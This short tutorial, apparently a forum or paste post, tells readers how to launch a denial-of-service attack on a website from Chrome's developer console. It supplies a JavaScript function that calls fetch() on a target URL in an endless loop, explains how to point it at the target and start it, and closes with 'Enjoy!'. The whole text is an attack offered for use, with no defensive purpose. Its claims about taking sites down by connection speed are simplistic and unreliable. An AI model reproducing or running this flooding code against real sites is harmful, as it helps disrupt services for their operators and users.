1. Open site, where you will make attack with Google Chrome.
2. Open Console, Right Button of the Mouse -> Inspect Element -> Console.
3. Paste in console this code:

function start_attack(){while (1) fetch('https://yoursite.com');return 0;}

Before pressing Enter, change yoursite.com to your site.
4. Press Enter.
5. Paste in console start_attack(); and press Enter!
6. If your connection speed > site connection speed, site will be dropped
If your connection speed < site connection speed, you have get error 502 "Bad Gateway"
If you will attempt attack from proxy, your proxy can be dropped.
Enjoy!